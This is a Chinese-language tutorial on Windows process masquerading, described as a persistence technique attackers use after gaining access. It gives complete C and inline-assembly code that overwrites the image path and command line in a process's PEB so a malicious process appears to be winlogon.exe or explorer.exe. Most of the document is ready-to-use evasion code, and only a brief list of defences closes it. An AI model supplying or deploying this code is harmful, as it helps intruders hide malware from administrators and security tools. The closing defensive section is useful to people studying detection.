进程伪装详解
字数 1116 2025-08-09 13:33:42
Windows进程伪装技术详解
一、进程伪装概述
进程伪装是一种权限维持技术,攻击者在获取主机权限后,通过修改进程信息使其看起来像系统关键进程,从而隐藏恶意行为。Windows系统中存在多个关键系统进程(如winlogon.exe、explorer.exe、services.exe等),这些进程是系统正常运行所必需的,因此伪装成这些进程可以有效规避检测。
二、技术原理
进程伪装的核心在于修改进程的两个关键信息:
- 进程名称
- 进程启动路径
这些信息存储在PEB(Process Environment Block,进程环境块)结构中。PEB包含了进程的环境信息,其完整结构如下:
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged; // 被调试状态
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
BYTE Reserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
三、关键API函数
1. NtQueryInformationProcess
位于ntdll.dll中,用于查询进程信息,需要动态获取:
__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optional] PULONG ReturnLength
);
2. 进程信息结构
当ProcessInformationClass参数为ProcessBasicInformation时,返回PROCESS_BASIC_INFORMATION结构:
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
3. 内存读写函数
由于每个程序有独立的内存空间,需要使用以下函数进行跨进程内存操作:
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
四、实现步骤
1. 获取PEB地址
有两种方法获取PEB地址:
方法一:通过NtQueryInformationProcess
PROCESS_BASIC_INFORMATION pbi = {0};
PEB peb = {0};
NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
方法二:通过FS段寄存器(汇编实现)
mov eax,fs:[0x30]
mov PEB,eax
2. 定位关键参数
在PEB结构中:
- 偏移0x20处是ProcessParameters(RTL_USER_PROCESS_PARAMETERS结构)
- 在RTL_USER_PROCESS_PARAMETERS中:
- 偏移0x60处是ImagePathName(可执行文件路径,UNICODE_STRING结构)
- 偏移0x70处是CommandLine(命令行参数,UNICODE_STRING结构)
UNICODE_STRING结构:
- Length字段:字符串长度
- Buffer字段:指向字符串的指针
3. 修改进程信息
修改命令行信息:
USHORT CmdLen = 2 + 2 * wcslen(lpwszCmd);
WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
修改路径信息:
USHORT PathLen = 2 + 2 * wcslen(lpwszPath);
WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
五、完整实现代码
方法一:使用API函数
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
// 打开进程获取句柄
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess) {
printf("[!] OpenProcess failed,error is : %d", GetLastError());
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = {0};
PEB peb = {0};
RTL_USER_PROCESS_PARAMETERS Param = {0};
USHORT CmdLen = 0;
USHORT PathLen = 0;
// 从ntdll.dll中获取NtQueryInformationProcess地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess) {
printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
return FALSE;
}
// 获取指定进程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status)) {
printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
return FALSE;
}
// 获取PebBaseAddress
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 获取ProcessParameters
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改命令行信息
CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
// 修改路径信息
PathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
return TRUE;
}
方法二:使用汇编直接修改
BOOL DisguiseProcess(wchar_t* lpwszPath, wchar_t* lpwszCmd) {
HANDLE hProcess = GetModuleHandle(NULL);
PPEB peb = {0};
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
__asm {
mov eax,fs:[30h]
mov peb,eax
}
usCmdLen = 2 + 2 * wcslen(lpwszCmd);
(*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
(*peb).ProcessParameters->CommandLine.Length = usCmdLen;
usPathLen = 2 + 2 * wcslen(lpwszPath);
(*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
(*peb).ProcessParameters->ImagePathName.Length = usPathLen;
return TRUE;
}
六、防御措施
- 完整性检查:验证关键系统进程的完整性,检查其数字签名
- 行为监控:监控进程创建和修改行为,特别是对PEB结构的修改
- 内存保护:使用内存保护技术防止关键进程被注入
- 日志分析:定期分析系统日志,查找异常进程行为
七、总结
进程伪装是一种有效的权限维持技术,通过修改PEB结构中的进程信息,可以使恶意进程伪装成系统关键进程。防御方需要结合多种检测手段,包括静态特征检测、行为监控和日志分析等,才能有效识别此类攻击。